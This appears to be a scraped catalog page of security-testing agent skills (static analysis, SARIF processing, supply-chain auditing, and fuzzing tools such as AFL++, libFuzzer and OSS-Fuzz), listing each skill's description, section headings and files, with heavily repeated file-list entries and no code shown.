scripts/build_log.shscripts/check_db_quality.pyscripts/find_databases.shscripts/generate_suite.shscripts/test_build_log.pyscripts/test_build_mode_claims.pyscripts/test_check_db_quality.pyscripts/test_find_databases.pyscripts/test_generation_scripts.pyscripts/test_script_flags.pyscripts/test_section_pointers.pyscripts/test_shell_blocks.pyscripts/test_suite_templates.pyscripts/test_verify_query_suite.pyscripts/verify_query_suite.py
Files
SKILL.mdcore18,600 bytesSKILL.mdcore18,600 bytesSKILL.mdcore18,600 bytesSKILL.mdcore18,600 bytesSKILL.mdcore18,600 bytesSKILL.mdcore18,600 bytesagents/openai.yamlasset239 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/build-fixes.mddoc3,290 bytesreferences/diagnostic-query-templates.mddoc9,751 bytesreferences/extension-yaml-format.mddoc7,621 bytesreferences/important-only-suite.mddoc5,270 bytesreferences/language-details.mddoc5,811 bytesreferences/macos-arm64e-workaround.mddoc7,455 bytesreferences/performance-tuning.mddoc2,835 bytesreferences/quality-assessment.mddoc7,969 bytesreferences/ruleset-catalog.mddoc2,197 bytesreferences/run-all-suite.mddoc5,552 bytesreferences/sarif-processing.mddoc3,119 bytesreferences/threat-models.mddoc2,799 bytesscripts/build_log.shruns2,144 bytesscripts/check_db_quality.pyruns15,069 bytesscripts/find_databases.shruns2,515 bytesscripts/generate_suite.shruns3,406 bytesscripts/pyproject.tomlasset585 bytesscripts/test_build_log.pyruns3,244 bytesscripts/test_build_mode_claims.pyruns3,678 bytesscripts/test_check_db_quality.pyruns20,247 bytesscripts/test_find_databases.pyruns6,116 bytesscripts/test_generation_scripts.pyruns11,900 bytesscripts/test_script_flags.pyruns6,451 bytesscripts/test_section_pointers.pyruns8,072 bytesscripts/test_shell_blocks.pyruns29,804 bytesscripts/test_suite_templates.pyruns5,120 bytesscripts/test_verify_query_suite.pyruns1,902 bytesscripts/verify_query_suite.pyruns2,802 bytesworkflows/build-database.mddoc13,273 bytesworkflows/create-data-extensions.mddoc10,555 bytesworkflows/run-analysis.mddoc13,598 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsarif-parsing
When your agent uses it
Parses and processes SARIF files from static analysis tools like CodeQL, Semgrep, or other scanners. Triggers on "parse sarif", "read scan results", "aggregate findings", "deduplicate alerts", or "process sarif output". Handles filtering, deduplication, format conversion, and CI/CD integration of SARIF data. Does NOT run scans — use the Semgrep or CodeQL skills for that.
What it loads into context
Frontmatter
111 tokensAlways available to the agent
SKILL.md
4,540 tokensWhen the skill is activated
Reference documents
2,308 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- SARIF Structure Overview
- Tool Selection Guide
- Strategy 1: Quick Analysis with jq
- Strategy 2: Python with pysarif
- Strategy 3: Python with sarif-tools
- Strategy 4: Aggregating Multiple SARIF Files
- Strategy 5: Extracting Actionable Data
- Common Pitfalls and Solutions
- CI/CD Integration Patterns
- Key Principles
- Skill Resources
- Reference Links
Scripts executed separately
resources/sarif_helpers.pyresources/test_sarif_helpers.py
Files
SKILL.mdcore17,925 bytesSKILL.mdcore17,925 bytesSKILL.mdcore17,925 bytesSKILL.mdcore17,925 bytesSKILL.mdcore17,925 bytesSKILL.mdcore17,925 bytesSKILL.mdcore17,925 bytesSKILL.mdcore17,925 bytesSKILL.mdcore17,925 bytesSKILL.mdcore17,925 bytesSKILL.mdcore17,925 bytesSKILL.mdcore17,925 bytesSKILL.mdcore17,925 bytesSKILL.mdcore17,925 bytesSKILL.mdcore17,925 bytesSKILL.mdcore17,925 bytesSKILL.mdcore17,925 bytesSKILL.mdcore17,925 bytesagents/openai.yamlasset231 bytesassets/trail-of-bits-mark.svgasset3,084 bytesresources/fixtures/codeql-no-level.sarifasset2,302 bytesresources/fixtures/levels-on-results.sarifasset1,782 bytesresources/jq-queries.mddoc7,868 bytesresources/sarif_helpers.pyruns13,027 bytesresources/test_sarif_helpers.pyruns14,028 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsemgrep
When your agent uses it
Runs a Semgrep security scan over a codebase: detects languages, selects rulesets, presents the plan for explicit approval, then runs every approved ruleset through scripts/run-scans.sh, which batches the semgrep processes and writes scans.json, and merges the output to SARIF. Supports two scan modes, "run all" for full ruleset coverage and "important only" for security findings at medium-to-high confidence and impact. Uses Semgrep Pro for cross-file taint analysis when it is available. Use when asked to scan code for vulnerabilities, run a security audit with Semgrep, find bugs, or perform static analysis. For the same scan without the approval gate, use the /static-analysis:semgrep-scan workflow.
What it loads into context
Frontmatter
190 tokensAlways available to the agent
SKILL.md
3,627 tokensWhen the skill is activated
Reference documents
10,668 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Essential Principles
- When to Use
- When NOT to Use
- Output Directory
- Prerequisites
- Scan Modes
- Orchestration Architecture
- Running it as a Workflow
- Workflow
- Workflow and agents
- Rationalizations to Reject
- Reference Index
- Success Criteria
Scripts executed separately
scripts/merge_sarif.pyscripts/run-scans.shscripts/test_merge_sarif.py
Files
SKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytesagents/openai.yamlasset229 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/rulesets.mddoc7,695 bytesreferences/scan-modes.mddoc8,713 bytesscripts/merge_sarif.pyruns14,034 bytesscripts/run-scans.shruns34,393 bytesscripts/test_merge_sarif.pyruns22,943 bytesworkflows/scan-workflow.mddoc24,630 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsupply-chain-risk-auditor
When your agent uses it
Audits a project's dependencies for supply-chain risk: version-matched advisories for direct dependencies and the full lockfile tree, abandoned or archived upstreams, npm publisher concentration, and install-time script execution. Use when asked to audit dependencies, assess supply-chain or third-party package risk, or review a dependency tree before an engagement.
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
1,564 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Why the scripts do the measuring, not you
- Workflow
- Style for what you add
- Reading the report
- Rationalizations to reject
- When not to use
Scripts executed separately
scripts/collect.pyscripts/model.pyscripts/render.pyscripts/sources.pyscripts/test_collect.pyscripts/test_model.pyscripts/test_render.pyscripts/test_sources.py
Files
SKILL.mdcore6,991 bytesSKILL.mdcore6,991 bytesSKILL.mdcore6,991 bytesagents/openai.yamlasset252 bytesassets/trail-of-bits-mark.svgasset3,084 bytesscripts/collect.pyruns65,756 bytesscripts/model.pyruns17,595 bytesscripts/pyproject.tomlasset683 bytesscripts/render.pyruns35,181 bytesscripts/sources.pyruns29,204 bytesscripts/test_collect.pyruns38,131 bytesscripts/test_model.pyruns7,842 bytesscripts/test_render.pyruns14,313 bytesscripts/test_sources.pyruns10,542 bytesscripts/uv.lockasset337 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubaddress-sanitizer
When your agent uses it
Builds and runs code under AddressSanitizer to catch buffer overflows, use-after-free, and other memory errors during fuzzing or tests. Covers -fsanitize=address builds, ASAN_OPTIONS, reading the crash report, LeakSanitizer, and the overhead and platform trade-offs. Use when fuzzing C/C++ or Rust that has unsafe blocks or FFI, when debugging a memory corruption crash, or when reading an ASan stack trace.
What it loads into context
Frontmatter
107 tokensAlways available to the agent
SKILL.md
2,833 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Apply
- Quick Reference
- Step-by-Step
- Common Patterns
- Advanced Usage
- Anti-Patterns
- Tool-Specific Guidance
- Troubleshooting
- Related Skills
- Resources
Files
SKILL.mdcore11,543 bytesSKILL.mdcore11,543 bytesSKILL.mdcore11,543 bytesSKILL.mdcore11,543 bytesSKILL.mdcore11,543 bytesSKILL.mdcore11,543 bytesSKILL.mdcore11,543 bytesSKILL.mdcore11,543 bytesSKILL.mdcore11,543 bytesSKILL.mdcore11,543 bytesSKILL.mdcore11,543 bytesSKILL.mdcore11,543 bytesSKILL.mdcore11,543 bytesSKILL.mdcore11,543 bytesSKILL.mdcore11,543 bytesSKILL.mdcore11,543 bytesagents/openai.yamlasset236 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubaflpp
When your agent uses it
Sets up and runs AFL++ for multi-core fuzzing of C/C++ projects built with afl-clang-fast or afl-gcc-fast. Covers instrumentation modes, parallel main and secondary campaigns, persistent mode, corpus minimization, and crash triage. Use when scaling fuzzing across cores, fuzzing a mature C/C++ codebase, reading the afl-fuzz status screen, or moving on after libFuzzer has plateaued.
What it loads into context
Frontmatter
100 tokensAlways available to the agent
SKILL.md
5,741 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Quick Start
- Installation
- Writing a Harness
- Compilation
- Corpus Management
- Running Campaigns
- Environment Variables That Matter
- Multi-Core Fuzzing
- Coverage Analysis
- CMPLOG
- Sanitizer Integration
- Advanced Usage
- Troubleshooting
- Related Skills
- Resources
Files
SKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesSKILL.mdcore22,454 bytesagents/openai.yamlasset220 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubatheris
When your agent uses it
Sets up and runs Atheris, the coverage-guided Python fuzzer built on libFuzzer. Covers TestOneInput harnesses, FuzzedDataProvider, instrumenting both pure Python and native C extensions, and running under AddressSanitizer. Use when fuzzing a Python package, hunting memory corruption in a Python C extension, or choosing between Atheris and Hypothesis for a Python target.
What it loads into context
Frontmatter
97 tokensAlways available to the agent
SKILL.md
3,658 tokensWhen the skill is activated
Reference documents
1,153 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Quick Start
- Installation
- Writing a Harness
- Fuzzing Pure Python Code
- Fuzzing Python C Extensions
- Corpus Management
- Running Campaigns
- Sanitizer Integration
- Advanced Usage
- Real-World Examples
- Troubleshooting
- Related Skills
- Resources
Files
SKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesSKILL.mdcore14,732 bytesagents/openai.yamlasset237 bytesassets/trail-of-bits-mark.svgasset3,084 bytesexamples.mddoc1,280 bytesstructured-input.mddoc3,368 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcargo-fuzz
When your agent uses it
Sets up and runs cargo-fuzz, the standard fuzzing tool for Cargo-based Rust projects. Covers cargo fuzz init, the nightly toolchain requirement, fuzz_target! harnesses, Arbitrary-derived structured inputs, sanitizer options, cargo fuzz coverage, and reproducing a crash artifact. Use when fuzzing a Rust crate, writing a fuzz_target!, exercising unsafe blocks or FFI in Rust, or triaging a cargo fuzz crash.
What it loads into context
Frontmatter
100 tokensAlways available to the agent
SKILL.md
2,939 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Quick Start
- Installation
- Writing a Harness
- Structure-Aware Fuzzing
- Running Campaigns
- Sanitizer Integration
- Coverage Analysis
- Advanced Usage
- Real-World Examples
- Troubleshooting
- Related Skills
- Resources
Files
SKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesSKILL.mdcore11,789 bytesagents/openai.yamlasset223 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubconstant-time-testing
When your agent uses it
Measures timing side channels in cryptographic implementations by running them, using dudect for statistical analysis and Timecop over Valgrind for dynamic tracing. Covers the formal, symbolic, dynamic, and statistical tool categories and how to read a result. Use when testing whether a running implementation is constant-time, measuring timing variance on a compiled binary, or investigating a suspected timing attack. Not for statically inspecting compiler output — the constant-time-analysis plugin covers that.
What it loads into context
Frontmatter
103 tokensAlways available to the agent
SKILL.md
4,819 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Background
- When to Use
- Quick Reference
- Constant-Time Tooling Categories
- Testing Workflow
- Tools and Approaches
- Implementation Guide
- Common Vulnerabilities
- Case Studies
- Advanced Usage
- Related Skills
- Skill Dependency Map
- Resources
Files
SKILL.mdcore21,938 bytesSKILL.mdcore21,938 bytesagents/openai.yamlasset247 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcoverage-analysis
When your agent uses it
Measures and interprets what a fuzzing campaign actually reaches, using llvm-cov, lcov, or a fuzzer's own coverage output. Covers baselining a new campaign, reading coverage reports, and turning uncovered regions into harness, seed, or dictionary work. Use when a fuzzer plateaus, when judging whether a harness is effective, after changing a harness, or when asking why some code is never reached.
What it loads into context
Frontmatter
97 tokensAlways available to the agent
SKILL.md
5,058 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Apply
- Quick Reference
- Ideal Coverage Workflow
- Step-by-Step
- Common Patterns
- Advanced Usage
- Anti-Patterns
- Tool-Specific Guidance
- Troubleshooting
- Related Skills
- Resources
Files
SKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesSKILL.mdcore21,004 bytesagents/openai.yamlasset238 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfuzzing-dictionary
When your agent uses it
Builds and applies fuzzing dictionaries so a fuzzer can produce the keywords, magic bytes, and tokens a target expects. Covers extracting tokens from source, headers, binaries, and specifications, dictionary syntax, and wiring one into libFuzzer or AFL++. Use when fuzzing a parser, protocol, or file format, when coverage stalls at input validation, or when a target compares against fixed strings.
What it loads into context
Frontmatter
94 tokensAlways available to the agent
SKILL.md
2,424 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Apply
- Quick Reference
- Step-by-Step
- Common Patterns
- Advanced Usage
- Anti-Patterns
- Tool-Specific Guidance
- Troubleshooting
- Related Skills
- Resources
Files
SKILL.mdcore9,954 bytesSKILL.mdcore9,954 bytesSKILL.mdcore9,954 bytesSKILL.mdcore9,954 bytesSKILL.mdcore9,954 bytesSKILL.mdcore9,954 bytesSKILL.mdcore9,954 bytesSKILL.mdcore9,954 bytesSKILL.mdcore9,954 bytesSKILL.mdcore9,954 bytesagents/openai.yamlasset245 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfuzzing-obstacles
When your agent uses it
Patches past the barriers that stop a fuzzer making progress — checksum and hash verification, magic-value validation, time-based seeds, and other non-deterministic global state. Covers locating the blocking check, neutering it behind a fuzzing build flag, and avoiding the false positives a patch can introduce. Use when a fuzzer is stuck at validation, when coverage shows large regions behind a checksum, or when valid inputs are impractical to generate.
What it loads into context
Frontmatter
104 tokensAlways available to the agent
SKILL.md
3,533 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Apply
- Quick Reference
- Step-by-Step
- Common Patterns
- Advanced Usage
- Anti-Patterns
- Tool-Specific Guidance
- Troubleshooting
- Related Skills
- Resources
Files
SKILL.mdcore15,822 bytesSKILL.mdcore15,822 bytesSKILL.mdcore15,822 bytesSKILL.mdcore15,822 bytesSKILL.mdcore15,822 bytesSKILL.mdcore15,822 bytesSKILL.mdcore15,822 bytesagents/openai.yamlasset242 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubharness-writing
When your agent uses it
Designs and improves fuzzing harnesses for C/C++ and Rust. Covers mapping raw bytes onto a target API, generating structured inputs, avoiding non-determinism and false crashes, and deciding what to fuzz together. Use when writing a first LLVMFuzzerTestOneInput or fuzz_target! harness, when a campaign finds nothing or reports crashes that will not reproduce, or when the target API needs structured rather than raw input.
What it loads into context
Frontmatter
98 tokensAlways available to the agent
SKILL.md
5,154 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Apply
- Quick Reference
- Step-by-Step
- Common Patterns
- Advanced Usage
- Practical Harness Rules
- Anti-Patterns
- Tool-Specific Guidance
- Troubleshooting
- Related Skills
- Resources
Files
SKILL.mdcore21,244 bytesSKILL.mdcore21,244 bytesSKILL.mdcore21,244 bytesSKILL.mdcore21,244 bytesSKILL.mdcore21,244 bytesSKILL.mdcore21,244 bytesSKILL.mdcore21,244 bytesSKILL.mdcore21,244 bytesSKILL.mdcore21,244 bytesagents/openai.yamlasset243 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHublibafl
When your agent uses it
Builds custom fuzzers with LibAFL, the modular Rust fuzzing library. Covers composing observers, feedbacks, mutators, schedulers, and executors into a fuzzer for targets the standard tools do not fit. Use when writing a bespoke fuzzer or mutator, fuzzing a non-standard target or architecture, implementing a fuzzing research idea, or when libFuzzer and AFL++ lack the control you need.
What it loads into context
Frontmatter
101 tokensAlways available to the agent
SKILL.md
4,496 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Quick Start
- Installation
- Writing a Harness
- Usage Modes
- Writing a Custom Fuzzer
- Compilation
- Running Campaigns
- Advanced Usage
- Real-World Examples
- Troubleshooting
- Related Skills
- Resources
Files
SKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesSKILL.mdcore17,143 bytesagents/openai.yamlasset228 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHublibfuzzer
When your agent uses it
Sets up and runs libFuzzer, the coverage-guided fuzzer built into LLVM, on C/C++ code that compiles with Clang. Covers harness structure, -fsanitize=fuzzer builds, corpus and dictionary management, sanitizer integration, and campaign triage. Use when writing or debugging an LLVMFuzzerTestOneInput harness, starting fuzzing on a C/C++ library, choosing between libFuzzer and AFL++, or working out why a libFuzzer run finds nothing.
What it loads into context
Frontmatter
112 tokensAlways available to the agent
SKILL.md
6,339 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Quick Start
- Installation
- Writing a Harness
- Compilation
- Corpus Management
- Running Campaigns
- Fuzzing Dictionary
- Coverage Analysis
- Sanitizer Integration
- Real-World Examples
- Advanced Usage
- Troubleshooting
- Related Skills
- Resources
Files
SKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesSKILL.mdcore24,234 bytesagents/openai.yamlasset234 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubossfuzz
When your agent uses it
Enrolls a project in OSS-Fuzz, Google's free continuous fuzzing service for open source, and drives it locally. Covers project.yaml, Dockerfile and build.sh setup, the helper scripts, reproducing OSS-Fuzz crash reports, and the acceptance criteria. Use when setting up continuous fuzzing for an open-source project, reproducing an OSS-Fuzz bug report, or testing an OSS-Fuzz build before submitting it.
What it loads into context
Frontmatter
98 tokensAlways available to the agent
SKILL.md
4,127 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Apply
- Quick Reference
- OSS-Fuzz Project Components
- Step-by-Step: Running a Single Harness
- Common Patterns
- Docker Images in OSS-Fuzz
- Advanced Usage
- Anti-Patterns
- Tool-Specific Guidance
- Troubleshooting
- Related Skills
- Resources
Files
SKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesSKILL.mdcore16,740 bytesagents/openai.yamlasset233 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubruzzy
When your agent uses it
Sets up and runs Ruzzy, Trail of Bits' coverage-guided Ruby fuzzer and the only production-ready one for the language. Covers harness structure, fuzzing pure Ruby and the native C extensions in gems, and sanitizer builds. Use when fuzzing a Ruby library or gem, testing a Ruby C extension for memory safety, or asking how to fuzz Ruby at all.
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
3,184 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Quick Start
- Installation
- Writing a Harness
- Compilation
- Running Campaigns
- Sanitizer Integration
- Real-World Examples
- Troubleshooting
- Related Skills
- Resources
Files
SKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytesSKILL.mdcore12,164 bytesagents/openai.yamlasset231 bytesassets/trail-of-bits-mark.svgasset3,084 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubtesting-handbook-generator
When your agent uses it
Generates Claude Code skills from the Trail of Bits Testing Handbook (appsec.guide), analyzing handbook pages and emitting SKILL.md files with the structure each skill type requires. Use when creating or refreshing a skill from handbook content, or when the user names the testing handbook or appsec.guide. Not for answering security testing questions — the generated skills cover those.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
3,329 tokensWhen the skill is activated
Reference documents
22,678 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Handbook Location
- Workflow Overview
- Scope Restrictions
- Quick Reference
- Decision Tree
- Two-Pass Generation (Phase 3)
- Output Location
- Quality Checklist
- Post-Generation Tasks
- Example Usage
- Tips
Files
